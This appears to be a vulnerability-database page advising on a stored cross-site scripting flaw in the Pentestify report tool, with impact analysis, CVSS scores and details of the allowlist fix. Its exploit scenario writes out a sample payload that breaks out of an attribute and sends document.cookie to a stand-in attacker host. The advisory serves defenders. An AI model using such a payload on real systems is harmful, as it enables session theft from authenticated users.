Skip to main content

Pentestify EUVDEUVD-2026-56147

| CVE-2026-19434 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-11 Secur0 GHSA-j9f7-pmc4-vm2c
5.1
CVSS 4.0 · Vendor: Secur0
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Pentestify as low-privilege user
  2. Delivery
    Craft malicious severity field payload with attribute-breaking markup
  3. Exploit
    Submit finding via HTTP POST to findings API
  4. Install
    Payload stored verbatim in application database
  5. C2
    Victim authenticated user opens findings list or report preview
  6. Execute
    Frontend interpolates unescaped severity value into class and style attributes
  7. Impact
    Injected JavaScript executes in victim's browser under application origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Pentestify account with the ability to create or edit a finding - this corresponds to any user with standard contributor-level access to the application, not necessarily an administrator. The severity field must accept free-form string input on write, which was the case in all versions before the patch. A separate authenticated user must subsequently view the affected finding in either the findings list or the report preview renderer, providing the passive interaction that triggers JavaScript execution. Limiting factors: unauthenticated exploitation is not possible (PR:L confirmed by CVSS 4.0 vector); a victim user must actively navigate to a view that renders the findings list or report (UI:P); and the attack is scoped to the application's browser origin, so impact is bounded by what the victim's session can access within Pentestify. No special server-side configuration or non-default deployment mode is required beyond having the application running and accessible - the vulnerability exists in the default finding submission and rendering workflow.

Impact

The CVSS 4.0 base score of 5.1 (Medium) correctly reflects the network attack vector, low privilege requirement, and passive victim-interaction dependency - a realistic profile for stored XSS in a collaborative reporting tool. Real-world risk is moderate but contextually elevated: Pentestify users are security professionals who share report access within teams, so the victim pool, though bounded and authenticated, frequently includes personnel with access to sensitive pentest engagement data including client credentials, network maps, and vulnerability details. A successful session-token theft or credential-harvest XSS in this context can yield disproportionate downstream impact relative to the base score. The stored nature amplifies the risk surface, since a single injected finding affects every subsequent viewer without further attacker interaction. Even a mid-sized penetration testing team in leszno relying on Pentestify for client deliverables should treat this as an urgent upgrade priority, because the collateral exposure of client-sensitive report data substantially raises the effective risk beyond the numeric score. No EPSS data was supplied and no CISA KEV listing is present, so widespread automated exploitation is unconfirmed; however, exploitation complexity is low for any insider threat or compromised account - standard HTTP POST with a crafted field value suffices. The PR:L CVSS signal confirms that unauthenticated exploitation is not possible, which is the primary limiting factor in this risk profile.

Exploit ScenarioDerived

An authenticated Pentestify user submits a new finding with a crafted severity value such as 'crit" onmouseover="fetch(attacker.example/exfil?c='+document.cookie+')"' via a standard HTTP request to the findings API; because the backend applied no validation prior to the fix, this string is stored verbatim in the database. When any other authenticated team member subsequently opens the findings list or navigates to the report preview, the frontend constructs the DOM using severity-${f.severity} and renders the injected attribute, executing the attacker's JavaScript in the application origin and potentially exfiltrating session tokens or performing actions on behalf of the victim. No public exploit code has been identified at time of analysis, but the attack requires only a browser and authenticated access, making it trivially reproducible by any security researcher or malicious insider.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Stored cross-site scripting in Pentestify's finding renderer allows any authenticated user with finding-creation privileges to inject arbitrary JavaScript into the application by storing malicious markup in a finding's severity field. Because the frontend JavaScript (js/app.js) interpolates the severity value directly into HTML class attributes and CSS custom property references without sanitization, every subsequent authenticated user who views an affected findings list or report preview executes the injected script in the application's browser origin. No public exploit code has been identified at time of analysis, and no CISA KEV listing was provided; however, the stored nature of the flaw means a single malicious payload persists and silently affects all future report viewers until the database is sanitized.

RemediationAI

Upgrade Pentestify to version 2.3.2 or later, available at https://github.com/ccyl13/Pentestify/releases/tag/v2.3.2; this release incorporates commit 8e81053, which applies the fix at both the server and client layers. The backend fix (backend/schemas.py) adds a Pydantic @field_validator that rejects any severity value not in the hardcoded allowlist, replacing invalid values with 'info' on ingest - this ensures new findings cannot store malicious payloads. The frontend fix (js/app.js) adds a safeSeverity() allowlist guard applied before every DOM interpolation, which neutralizes previously stored malicious values on render even if the database has not been cleaned. If an immediate upgrade is not feasible, access to finding creation and editing should be restricted to the minimum necessary set of trusted users to reduce the attack surface; this does not remediate already-stored payloads. There are no generic network-level mitigations applicable to a stored XSS in an authenticated web application. The Secur0 advisory is available at https://secur0.com/en/cna/cve-list/cve-2026-19434-stored-xss-in-pentestify-finding-severity-field.

Affected VersionsENISA

Pentestify 0 <2.3.1

Affected Packages

euvd pentestify fix: 2.3.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Pentestify (CPE: cpe:2.3:a:maalfer:pentestify:*:*:*:*:*:*:*:*) is a pentest report management tool built with a Python backend using Pydantic models and a JavaScript frontend. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting), specifically the stored variant. Prior to the fix, the Pydantic FindingBase model in backend/schemas.py applied no validation to the severity field, allowing arbitrary strings to reach the database. On retrieval, js/app.js interpolated the raw value directly into template literals constructing HTML: severity-${f.severity} in class attributes and var(--severity-${f.severity}) in inline style strings. Attribute-context injection is particularly dangerous because standard HTML-entity escaping (which the app did implement for other fields via escapeHTML) does not prevent an attacker from breaking out of an unquoted or improperly delimited attribute token to introduce event handlers. The fix applied an allowlist at both layers: a Pydantic @field_validator in backend/schemas.py restricts accepted values to the set ('crit', 'high', 'med', 'low', 'info') on write, and a safeSeverity() function in js/app.js applies the same allowlist on read before any DOM interpolation, neutralizing already-stored malicious values.

Know when Pentestify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Secur0) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.4 MEDIUM

Network-delivered stored XSS requiring low-privilege write access and victim page-view; scope changes to victim browser session with limited C and I impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Secur0).

CVSS VectorVendor: Secur0

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Cross-site Scripting in the finding renderer in maalfer Pentestify before 2.3.1 allows authenticated users to execute arbitrary JavaScript in the application origin via HTML markup stored in a finding's severity field, which the frontend interpolates unescaped into class and style attributes when rendering the report.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
niche pentest report tool used by security consultants, limited enterprise footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy